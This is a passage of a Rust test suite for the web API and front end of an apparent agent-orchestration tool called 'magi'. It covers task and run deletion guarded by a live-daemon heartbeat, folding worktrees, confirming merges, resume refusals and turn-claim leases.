21179        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21180            .await
21181            .unwrap()
21182            .0;
21183        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21184            .await
21185            .unwrap()
21186            .0;
21187        let talks_delta = talks_list(
21188            State(ui.clone()),
21189            query(Some(talks[0].id.clone())),
21190            header::HeaderMap::new(),
21191        )
21192        .await
21193        .unwrap()
21194        .0;
21195        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21196        eprintln!(
21197            "DELTA_PAYLOAD {}",
21198            serde_json::json!({
21199                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21200                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21201                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21202                "counts": [queue.len(), runs.len(), talks.len()],
21203                "blocked": queue_delta.len() - 1,
21204            })
21205        );
21206    }
21207
21208    #[test]
21209    fn runs_revision_moves_when_deleting_an_older_run() {
21210        let temp = TempDir::new().expect("tempdir");
21211        let runs = temp.path().join("runs");
21212        std::fs::create_dir_all(&runs).expect("create runs dir");
21213
21214        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21215
21216        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21217        std::thread::sleep(Duration::from_millis(10));
21218        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21219
21220        let rev_before = runs_revision(&runs);
21221        assert!(rev_before > 0);
21222
21223        let old_dir = runs.join("20260901-100000-old1");
21224        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21225
21226        let rev_after = runs_revision(&runs);
21227        assert_ne!(
21228            rev_before, rev_after,
21229            "deleting an older run must change the revision so other clients see the deletion"
21230        );
21231    }
21232
21233    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21234    /// process-global home entirely — `RunState::save` writes through
21235    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21236    /// (see `tests::home_lock` in the integration suite for why).
21237    fn write_state(runs: &FsPath, state: &RunState) {
21238        let dir = runs.join(&state.id);
21239        std::fs::create_dir_all(&dir).expect("run dir");
21240        std::fs::write(
21241            dir.join("run.json"),
21242            serde_json::to_string_pretty(state).expect("serialize run"),
21243        )
21244        .expect("write run.json");
21245    }
21246
21247    /// A seat starting or finishing is a write to `run.json` like any other,
21248    /// so it moves the same revision the change stream already watches —
21249    /// nothing new for `/api/events` to learn, but the property this feature
21250    /// depends on to reach the phone without a poll.
21251    #[test]
21252    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21253        let temp = TempDir::new().expect("tempdir");
21254        let runs = temp.path().join("runs");
21255        std::fs::create_dir_all(&runs).expect("create runs dir");
21256        let mut state = RunState::new(
21257            PathBuf::from("/repo/magi"),
21258            "main".to_owned(),
21259            "0123456789abcdef".to_owned(),
21260            "task".to_owned(),
21261            Config::default(),
21262        );
21263        state.id = "20260902-100000-c0de".to_owned();
21264        write_state(&runs, &state);
21265
21266        let rev_idle = runs_revision(&runs);
21267        std::thread::sleep(Duration::from_millis(10));
21268        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21269        write_state(&runs, &state);
21270        let rev_started = runs_revision(&runs);
21271        assert_ne!(
21272            rev_idle, rev_started,
21273            "a seat starting must move the revision"
21274        );
21275
21276        std::thread::sleep(Duration::from_millis(10));
21277        state.seat_finished("judge-1");
21278        write_state(&runs, &state);
21279        let rev_finished = runs_revision(&runs);
21280        assert_ne!(
21281            rev_started, rev_finished,
21282            "and clearing it again must move the revision a second time"
21283        );
21284    }
21285
21286    #[tokio::test]
21287    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21288        // `TaskView` flattens `Task`, so this is really asserting that
21289        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21290        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21291        // never touched web.rs, so nothing here caught it if it had.
21292        let fx = Fixture::start().await;
21293        let q = fx.queue();
21294
21295        let mut t = Task::new(
21296            "Task".to_owned(),
21297            "Instruction".to_owned(),
21298            PathBuf::from("/repo"),
21299            Source::Human,
21300        );
21301        t.block(
21302            vec!["20260101-000000-dead".to_owned()],
21303            Some("waiting on Task 1".to_owned()),
21304        );
21305        t.answers.push(crate::queue::AnsweredQuestion {
21306            question: "Which backend?".to_owned(),
21307            answer: "SQLite".to_owned(),
21308        });
21309        q.put(&mut t).expect("put t");
21310
21311        let res = fx.get("/api/queue").await;
21312        assert_eq!(res.status, 200);
21313        let list = res.json();
21314        let view = list
21315            .as_array()
21316            .expect("array")
21317            .iter()
21318            .find(|v| v["id"] == t.id)
21319            .expect("task in list");
21320        assert_eq!(view["status_str"], "blocked");
21321        assert_eq!(
21322            view["blocked_by"],
21323            serde_json::json!(["20260101-000000-dead"])
21324        );
21325        assert_eq!(view["block_reason"], "waiting on Task 1");
21326        assert_eq!(view["answers"][0]["question"], "Which backend?");
21327        assert_eq!(view["answers"][0]["answer"], "SQLite");
21328
21329        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21330        // but never `answers` - that is a settled decision, not state
21331        // describing the current block, so it survives.
21332        let res = fx
21333            .post(&format!("/api/queue/{}/hold", t.short()), None)
21334            .await;
21335        assert_eq!(res.status, 200);
21336        let held = res.json();
21337        assert_eq!(held["status_str"], "held");
21338        assert_eq!(held["blocked_by"], serde_json::json!([]));
21339        assert!(held["block_reason"].is_null());
21340        assert_eq!(held["answers"][0]["answer"], "SQLite");
21341    }
21342
21343    #[tokio::test]
21344    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21345        let fx = Fixture::start().await;
21346        let q = fx.queue();
21347        let mk = |title: &str| {
21348            Task::new(
21349                title.to_owned(),
21350                "Instruction".to_owned(),
21351                PathBuf::from("/repo"),
21352                Source::Human,
21353            )
21354        };
21355        let mut root = mk("root");
21356        root.hold_manual(Some("waiting".to_owned()));
21357        q.put(&mut root).unwrap();
21358        let mut mid = mk("mid");
21359        mid.block(vec![root.id.clone()], None);
21360        q.put(&mut mid).unwrap();
21361        let mut leaf = mk("leaf");
21362        leaf.block(vec![mid.id.clone()], None);
21363        q.put(&mut leaf).unwrap();
21364
21365        let list = fx.get("/api/queue").await.json();
21366        let find = |id: &str| {
21367            list.as_array()
21368                .unwrap()
21369                .iter()
21370                .find(|v| v["id"] == id)
21371                .unwrap()
21372                .clone()
21373        };
21374        let leaf_view = find(&leaf.id);
21375        assert_eq!(
21376            leaf_view["waits_on"],
21377            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21378        );
21379        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21380        assert_eq!(
21381            find(&mid.id)["waits_on"],
21382            serde_json::json!([format!("{} (held)", root.short())])
21383        );
21384        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21385    }
21386
21387    #[tokio::test]
21388    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21389        let fx = Fixture::start().await;
21390        let q = fx.queue();
21391
21392        // 1. A queued task with runs attached can be deleted.
21393        let mut t1 = Task::new(
21394            "Task 1".to_owned(),
21395            "Instruction 1".to_owned(),
21396            PathBuf::from("/repo"),
21397            Source::Human,
21398        );
21399        let run_id = "20260901-000000-r111";
21400        t1.runs.push(run_id.to_owned());
21401        write_run(&fx.runs(), run_id, RunStatus::Merged);
21402        q.put(&mut t1).expect("put t1");
21403
21404        // Delete by short id
21405        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21406        assert_eq!(res.status, 204);
21407        assert!(res.body.is_empty(), "204 No Content has no body");
21408        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21409        assert!(
21410            fx.runs().join(run_id).exists(),
21411            "run directory must not be deleted when its task is deleted"
21412        );
21413
21414        // 2. A task a live daemon is running is refused with 409.
21415        let mut t2 = Task::new(
21416            "Task 2".to_owned(),
21417            "Instruction 2".to_owned(),
21418            PathBuf::from("/repo"),
21419            Source::Human,
21420        );
21421        t2.status = TaskStatus::Running;
21422        q.put(&mut t2).expect("put t2");
21423        let mut beat = crate::daemon::Status::new();
21424        beat.current = vec![crate::daemon::Current {
21425            worker: None,
21426            task: t2.id.clone(),
21427            run: "20260901-000000-r222".to_owned(),
21428        }];
21429        beat.updated_at = jiff::Timestamp::now();
21430        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21431            .expect("publish a heartbeat");
21432        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21433        assert_eq!(res.status, 409);
21434        assert!(
21435            res.json()["error"]
21436                .as_str()
21437                .unwrap()
21438                .contains("live daemon")
21439        );
21440        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21441
21442        // 3. The same `running` status and an orphaned lock, with no daemon
21443        // behind either, is a leftover and deletable. Before this the phone
21444        // refused it for good: the status never changes on its own and
21445        // nothing drops a lock whose process is gone.
21446        // The daemon is killed: the file stays, the heartbeat stops.
21447        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21448        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21449            .expect("leave a stale heartbeat");
21450        let mut t3 = Task::new(
21451            "Task 3".to_owned(),
21452            "Instruction 3".to_owned(),
21453            PathBuf::from("/repo"),
21454            Source::Human,
21455        );
21456        t3.status = TaskStatus::Running;
21457        q.put(&mut t3).expect("put t3");
21458        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21459        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21460        assert_eq!(res.status, 204);
21461        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21462        assert!(
21463            q.claim(&t3.id).is_ok(),
21464            "the stale lock went with it, so the id is claimable again"
21465        );
21466
21467        // 4. Missing id returns 404
21468        let res = fx.delete("/api/queue/nonexistent").await;
21469        assert_eq!(res.status, 404);
21470    }
21471
21472    #[tokio::test]
21473    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21474        let fx = Fixture::start().await;
21475        let runs = fx.runs();
21476
21477        // 1. Finished and folded run can be deleted along with artifacts
21478        let run_id = "20260901-000000-fold";
21479        let mut state = RunState::new(
21480            PathBuf::from("/repo"),
21481            "main".to_owned(),
21482            "abc".to_owned(),
21483            "instruction".to_owned(),
21484            Config::default(),
21485        );
21486        state.id = run_id.to_owned();
21487        state.status = RunStatus::Merged;
21488        state.candidates.push(crate::run::Candidate {
21489            index: 0,
21490            label: 'A',
21491            agent: "a".to_owned(),
21492            branch: "b".to_owned(),
21493            worktree: PathBuf::from("/w"),
21494            summary: String::new(),
21495            stat: String::new(),
21496            files: 1,
21497            commits: 1,
21498            empty: false,
21499            failed: None,
21500            verified_noop: None,
21501            duration_ms: 0,
21502            folded: true,
21503        });
21504        let dir = runs.join(run_id);
21505        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21506        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21507            .expect("write artifact");
21508        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21509            .expect("write run.json");
21510
21511        // Delete by short id
21512        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21513        assert_eq!(res.status, 204);
21514        assert!(res.body.is_empty(), "204 has no body");
21515        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21516
21517        // 2. A run a live daemon is working on is refused with 409. The
21518        // heartbeat is what makes it refusable: an unfinished run with no
21519        // daemon behind it is a leftover from a killed process, and case 1
21520        // above would otherwise be impossible to tell apart from this one.
21521        let run_running = "20260901-000000-rung";
21522        write_run(&runs, run_running, RunStatus::Prep);
21523        let mut beat = crate::daemon::Status::new();
21524        beat.current = vec![crate::daemon::Current {
21525            worker: None,
21526            task: "20260901-000000-task".to_owned(),
21527            run: run_running.to_owned(),
21528        }];
21529        beat.updated_at = jiff::Timestamp::now();
21530        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21531            .expect("publish a heartbeat");
21532        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21533        assert_eq!(res.status, 409);
21534        assert!(
21535            res.json()["error"]
21536                .as_str()
21537                .unwrap()
21538                .contains("live daemon"),
21539            "the refusal must say who is holding it"
21540        );
21541        assert!(
21542            runs.join(run_running).exists(),
21543            "a run in flight keeps its directory"
21544        );
21545
21546        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21547        let run_unfolded = "20260901-000000-unfd";
21548        let mut state2 = RunState::new(
21549            PathBuf::from("/repo"),
21550            "main".to_owned(),
21551            "abc".to_owned(),
21552            "instruction".to_owned(),
21553            Config::default(),
21554        );
21555        state2.id = run_unfolded.to_owned();
21556        state2.status = RunStatus::Ready;
21557        state2.candidates.push(crate::run::Candidate {
21558            index: 0,
21559            label: 'A',
21560            agent: "a".to_owned(),
21561            branch: "b".to_owned(),
21562            worktree: PathBuf::from("/w"),
21563            summary: String::new(),
21564            stat: String::new(),
21565            files: 1,
21566            commits: 1,
21567            empty: false,
21568            failed: None,
21569            verified_noop: None,
21570            duration_ms: 0,
21571            folded: false,
21572        });
21573        let dir2 = runs.join(run_unfolded);
21574        std::fs::create_dir_all(&dir2).expect("create dir2");
21575        std::fs::write(
21576            dir2.join("run.json"),
21577            serde_json::to_string(&state2).unwrap(),
21578        )
21579        .expect("write run.json");
21580
21581        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21582        assert_eq!(res.status, 409);
21583        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21584        assert!(dir2.exists(), "unfolded run directory is kept");
21585
21586        // 4. Missing id returns 404
21587        let res = fx.delete("/api/runs/nonexistent").await;
21588        assert_eq!(res.status, 404);
21589    }
21590
21591    /// The queue tiles on the Stats tab must render even on a home with no
21592    /// runs at all: queue state is not derived from run history, so hiding
21593    /// the whole dashboard body behind "no runs yet" would drop the one
21594    /// thing this tab promises unconditionally (queued/running/held/done).
21595    /// A DOM-level test would need a browser this suite does not have, so
21596    /// this pins the same invariant textually: `renderStatsQueue` is called
21597    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21598    /// block that gates the run-derived panels.
21599    #[test]
21600    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21601        let start = APP_JS
21602            .find("function renderStats() {")
21603            .expect("renderStats");
21604        let end = start
21605            + APP_JS[start..]
21606                .find("function statsTile(")
21607                .expect("the next top-level function");
21608        let body = &APP_JS[start..end];
21609
21610        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21611        let gate_end = gate_start
21612            + body[gate_start..]
21613                .find("}\n  renderStatsQueue")
21614                .expect("the gate's own closing brace, right before the unconditional call");
21615        let gated = &body[gate_start..gate_end];
21616
21617        assert_eq!(
21618            body.matches("renderStatsQueue(").count(),
21619            1,
21620            "renderStats must call renderStatsQueue exactly once: {body}"
21621        );
21622        assert!(
21623            !gated.contains("renderStatsQueue"),
21624            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21625             run-derived panels on an empty run history - the queue panel has to render \
21626             regardless: {gated}"
21627        );
21628    }
21629
21630    #[test]
21631    fn web_ui_delete_contract_in_front_end() {
21632        // 1. API block has both delete endpoints
21633        assert!(APP_JS.contains("deleteRun:"));
21634        assert!(APP_JS.contains("deleteTask:"));
21635
21636        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21637        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21638            ..APP_JS.find("function renderRuns").unwrap()];
21639        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21640
21641        // 3. Run detail has delete entry and reasons
21642        assert!(APP_JS.contains("renderRunDelete"));
21643        assert!(APP_JS.contains("runDeleteReason"));
21644        assert!(APP_JS.contains("magi fold"));
21645        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21646
21647        // 4. Two-step delete arming and focus on Cancel
21648        assert!(APP_JS.contains("cancel.focus"));
21649        assert!(APP_JS.contains("armedRunDelete"));
21650        assert!(APP_JS.contains("renderTaskDeleteBox"));
21651        assert!(APP_JS.contains("armed${cap(key)}"));
21652
21653        // 5. Running task has disabled delete
21654        assert!(APP_JS.contains("disabled: status === \"running\""));
21655    }
21656
21657    /// Every element a run card's updater reaches for must be in the `refs`
21658    /// the builder handed it.
21659    ///
21660    /// `createRunCard` builds its elements, appends them to the card, and then
21661    /// lists them again in `row.refs`. That second list is the one the updater
21662    /// uses, and nothing connects the two - an element can be built, appended
21663    /// and rendered, and still be missing from `refs`. `superseded` was, for
21664    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21665    /// exception took `syncList` with it, and the deck showed
21666    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21667    /// line is computed before the cards, which is why the failure looked like
21668    /// a server that had lost its runs rather than a front end that had
21669    /// stopped rendering them.
21670    ///
21671    /// A `cargo test` cannot execute the front end, so this reads the two
21672    /// halves out of the source and compares them as sets. It is not a check
21673    /// on the wording of either list: adding an element, renaming one, or
21674    /// reordering them all keeps this passing, and only using one the builder
21675    /// never published fails it.
21676    #[test]
21677    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21678        let build = APP_JS
21679            .find("function createRunCard")
21680            .expect("createRunCard exists");
21681        let update = APP_JS
21682            .find("function updateRunCard")
21683            .expect("updateRunCard exists");
21684        let end = APP_JS
21685            .find("function renderRuns")
21686            .expect("renderRuns exists");
21687
21688        // The builder's published set: the object literal assigned to `refs`.
21689        let builder = &APP_JS[build..update];
21690        let open = builder.find("refs = {").expect("createRunCard sets refs");
21691        let literal = &builder[open + "refs = {".len()..];
21692        let close = literal.find('}').expect("the refs literal is closed");
21693        let published: HashSet<&str> = literal[..close]
21694            .split(',')
21695            // `name` and `name: value` both bind `name`.
21696            .filter_map(|entry| entry.split(':').next())
21697            .map(str::trim)
21698            .filter(|name| !name.is_empty())
21699            .collect();
21700        assert!(
21701            published.len() > 5,
21702            "the refs literal did not parse into names: {published:?}"
21703        );
21704
21705        // What the updaters reach for: every `r.<name>`, where `r` is the
21706        // `const r = row.refs` alias both functions open with.
21707        let mut used: Vec<&str> = Vec::new();
21708        let updaters = &APP_JS[update..end];
21709        for (at, _) in updaters.match_indices("r.") {
21710            // `r` must be the whole identifier, not the tail of another one
21711            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21712            let before = updaters[..at].chars().next_back();
21713            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21714                continue;
21715            }
21716            let rest = &updaters[at + 2..];
21717            let len = rest
21718                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21719                .unwrap_or(rest.len());
21720            if len > 0 {
21721                used.push(&rest[..len]);
21722            }
21723        }
21724        assert!(
21725            used.len() > 5,
21726            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21727        );
21728
21729        let missing: Vec<&str> = used
21730            .iter()
21731            .copied()
21732            .filter(|name| !published.contains(name))
21733            .collect();
21734        assert!(
21735            missing.is_empty(),
21736            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21737             never put in `refs` - every card will throw and the list will \
21738             render empty under a count line that says otherwise. Published: \
21739             {published:?}"
21740        );
21741    }
21742
21743    #[tokio::test]
21744    async fn folding_from_the_phone_reports_what_it_removed() {
21745        let fx = Fixture::start().await;
21746        let runs = fx.runs();
21747
21748        // A run with no candidates has nothing to fold, which is a 200 with an
21749        // honest count rather than an error: the operator asked for the trees
21750        // to be gone and they are.
21751        let id = "20260901-000000-fold";
21752        write_run(&runs, id, RunStatus::Stalled);
21753        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21754        assert_eq!(res.status, 200);
21755        assert_eq!(res.json()["removed_count"], 0);
21756        assert_eq!(res.json()["run"], id);
21757        assert!(
21758            runs.join(id).exists(),
21759            "a fold keeps the run's record; only the worktrees go"
21760        );
21761    }
21762
21763    #[tokio::test]
21764    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21765        let fx = Fixture::start().await;
21766        let runs = fx.runs();
21767        let wt = fx.home.path().join("wt").join("magi").join("dead");
21768        let id = "20260901-000000-dead";
21769        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21770        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21771        std::fs::create_dir_all(&wt).expect("worktree dir");
21772
21773        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21774        assert_eq!(res.status, 200, "{}", res.body);
21775        assert!(
21776            res.json()["removed_count"].as_u64().unwrap() > 0,
21777            "the worktree this build could not read a state for still went"
21778        );
21779        assert!(
21780            !runs.join(id).exists(),
21781            "an unreadable run has no candidate list to fold selectively, so \
21782             the whole record goes - same as `magi fold` on the CLI"
21783        );
21784    }
21785
21786    #[tokio::test]
21787    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21788        let fx = Fixture::start().await;
21789        let runs = fx.runs();
21790        let wt = fx.home.path().join("wt").join("magi").join("gone");
21791        let id = "20260901-000000-gone";
21792        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21793        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21794        std::fs::create_dir_all(&wt).expect("worktree dir");
21795
21796        let res = fx.delete(&format!("/api/runs/{id}")).await;
21797        assert_eq!(res.status, 204, "{}", res.body);
21798        assert!(!runs.join(id).exists(), "the broken record is gone");
21799        assert!(!wt.exists(), "its worktree is gone too");
21800    }
21801
21802    #[tokio::test]
21803    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21804        let fx = Fixture::start().await;
21805        let runs = fx.runs();
21806        let id = "20260901-000000-live";
21807        write_run(&runs, id, RunStatus::Implementing);
21808
21809        let mut beat = crate::daemon::Status::new();
21810        beat.current = vec![crate::daemon::Current {
21811            worker: None,
21812            task: "20260901-000000-task".to_owned(),
21813            run: id.to_owned(),
21814        }];
21815        beat.updated_at = jiff::Timestamp::now();
21816        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21817            .expect("publish a heartbeat");
21818
21819        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21820        assert_eq!(res.status, 409);
21821        assert!(
21822            res.json()["error"]
21823                .as_str()
21824                .unwrap()
21825                .contains("live daemon"),
21826            "folding under a running agent would pull its worktree away"
21827        );
21828    }
21829
21830    #[tokio::test]
21831    async fn fold_merged_requires_a_pr_url() {
21832        let fx = Fixture::start().await;
21833        let runs = fx.runs();
21834        let id = "20260901-000000-nourl";
21835        write_run(&runs, id, RunStatus::Blocked);
21836
21837        let res = fx
21838            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21839            .await;
21840        assert_eq!(res.status, 400, "{}", res.body);
21841
21842        let blank = fx
21843            .post(
21844                &format!("/api/runs/{id}/fold-merged"),
21845                Some(r#"{"pr_url":"   "}"#),
21846            )
21847            .await;
21848        assert_eq!(blank.status, 400, "{}", blank.body);
21849    }
21850
21851    #[tokio::test]
21852    async fn fold_merged_is_404_for_an_unknown_run() {
21853        let fx = Fixture::start().await;
21854        let res = fx
21855            .post(
21856                "/api/runs/nosuchrun/fold-merged",
21857                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21858            )
21859            .await;
21860        assert_eq!(res.status, 404, "{}", res.body);
21861    }
21862
21863    #[tokio::test]
21864    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21865        let fx = Fixture::start().await;
21866        let runs = fx.runs();
21867        let id = "20260901-000000-livemerge";
21868        write_run(&runs, id, RunStatus::Blocked);
21869
21870        let mut beat = crate::daemon::Status::new();
21871        beat.current = vec![crate::daemon::Current {
21872            worker: None,
21873            task: "20260901-000000-task".to_owned(),
21874            run: id.to_owned(),
21875        }];
21876        beat.updated_at = jiff::Timestamp::now();
21877        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21878            .expect("publish a heartbeat");
21879
21880        let res = fx
21881            .post(
21882                &format!("/api/runs/{id}/fold-merged"),
21883                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21884            )
21885            .await;
21886        assert_eq!(res.status, 409, "{}", res.body);
21887        assert!(
21888            res.json()["error"]
21889                .as_str()
21890                .unwrap()
21891                .contains("live daemon"),
21892            "correcting a run's merge underneath a running agent would race \
21893             whatever it is doing to the same `status`/`merge` fields"
21894        );
21895    }
21896
21897    /// A pull request `gh` cannot even ask about (no such remote, no such
21898    /// repository) must never be recorded as a merge on a guess - the same
21899    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21900    /// command line, reached here through the phone route instead.
21901    #[tokio::test]
21902    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21903        let fx = Fixture::start().await;
21904        let runs = fx.runs();
21905        let id = "20260901-000000-unconfirmed";
21906        write_run(&runs, id, RunStatus::Blocked);
21907
21908        let res = fx
21909            .post(
21910                &format!("/api/runs/{id}/fold-merged"),
21911                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21912            )
21913            .await;
21914        assert_eq!(res.status, 400, "{}", res.body);
21915        assert_eq!(
21916            read_run(&runs, id).unwrap().status,
21917            RunStatus::Blocked,
21918            "a pull request that could not be confirmed merged must leave \
21919             the run exactly where it was"
21920        );
21921    }
21922
21923    #[tokio::test]
21924    async fn terminal_runs_cannot_be_resumed() {
21925        let fx = Fixture::start().await;
21926        let runs = fx.runs();
21927
21928        for (status, word) in [
21929            (RunStatus::Merged, "merged"),
21930            (RunStatus::Ready, "ready"),
21931            (RunStatus::Failed, "failed"),
21932        ] {
21933            let id = format!("20260901-000000-{}", &word[..4]);
21934            write_run(&runs, &id, status);
21935            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21936            assert_eq!(res.status, 409, "{word} must not be resumable");
21937        }
21938    }
21939
21940    #[tokio::test]
21941    async fn resume_is_refused_while_the_loop_is_running() {
21942        let fx = Fixture::start().await;
21943        let runs = fx.runs();
21944        let stalled = "20260901-000000-stal";
21945        write_run(&runs, stalled, RunStatus::Stalled);
21946
21947        // The loop is busy with a *different* run, and that is still a
21948        // refusal: a manual resume must never race whatever the loop itself
21949        // is already driving, whether that is one run or several.
21950        let mut beat = crate::daemon::Status::new();
21951        beat.current = vec![crate::daemon::Current {
21952            worker: None,
21953            task: "20260901-000000-task".to_owned(),
21954            run: "20260901-000000-othr".to_owned(),
21955        }];
21956        beat.updated_at = jiff::Timestamp::now();
21957        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21958            .expect("publish a heartbeat");
21959
21960        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21961        assert_eq!(res.status, 409);
21962        let err = res.json()["error"].as_str().unwrap().to_owned();
21963        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21964        assert!(err.contains("stop it first"), "{err}");
21965    }
21966
21967    #[test]
21968    fn a_run_cannot_be_resumed_twice_at_once() {
21969        let home = TempDir::new().expect("temp home");
21970        let ui = Ui::new(
21971            Queue::at(home.path().join("queue")),
21972            Questions::at(home.path().join("questions")),
21973            Talks::at(home.path().join("talks")),
21974            home.path().join("runs"),
21975            home.path().to_path_buf(),
21976            PathBuf::from("/repo"),
21977        )
21978        .with_worktrees_root(home.path().join("wt"));
21979        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21980        let again = ui.begin_resume("20260901-000000-once");
21981        assert!(again.is_err(), "a second tap must not start a second graph");
21982        drop(first);
21983        assert!(
21984            ui.begin_resume("20260901-000000-once").is_ok(),
21985            "and the claim is released when the attempt ends"
21986        );
21987    }
21988
21989    #[test]
21990    fn talk_thinking_tracks_only_its_held_turn_claim() {
21991        let home = TempDir::new().expect("temp home");
21992        let ui = Ui::new(
21993            Queue::at(home.path().join("queue")),
21994            Questions::at(home.path().join("questions")),
21995            Talks::at(home.path().join("talks")),
21996            home.path().join("runs"),
21997            home.path().to_path_buf(),
21998            PathBuf::from("/repo"),
21999        )
22000        .with_worktrees_root(home.path().join("wt"));
22001        let id = "20260901-000000-once";
22002
22003        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22004        let turn = ui.begin_talk_turn(id).expect("claim turn");
22005        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22006        assert!(
22007            !ui.is_thinking("20260901-000000-other"),
22008            "one talk's turn does not make another talk busy"
22009        );
22010        drop(turn);
22011        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22012    }
22013
22014    #[test]
22015    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22016        let home = TempDir::new().expect("temp home");
22017        let talks = Talks::at(home.path().join("talks"));
22018        let ui = Ui::new(
22019            Queue::at(home.path().join("queue")),
22020            Questions::at(home.path().join("questions")),
22021            talks.clone(),
22022            home.path().join("runs"),
22023            home.path().to_path_buf(),
22024            PathBuf::from("/repo"),
22025        )
22026        .with_worktrees_root(home.path().join("wt"));
22027        let id = "20260901-000000-cross";
22028
22029        let other = Talks::at(home.path().join("talks"))
22030            .claim_turn(id)
22031            .expect("claim")
22032            .expect("the other process wins");
22033        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22034        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22035        assert!(
22036            matches!(
22037                ui.begin_talk_turn_unless_pending(id).expect("start"),
22038                TalkTurnStart::Foreign
22039            ),
22040            "a foreign holder is refused, not queued behind"
22041        );
22042        assert!(
22043            !ui.talk_turns.lock().unwrap().live.contains(id),
22044            "a refused claim leaves no in-process entry behind"
22045        );
22046        drop(other);
22047        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22048        assert!(talks.turn_held(id), "the web turn holds the lease");
22049        drop(turn);
22050        assert!(
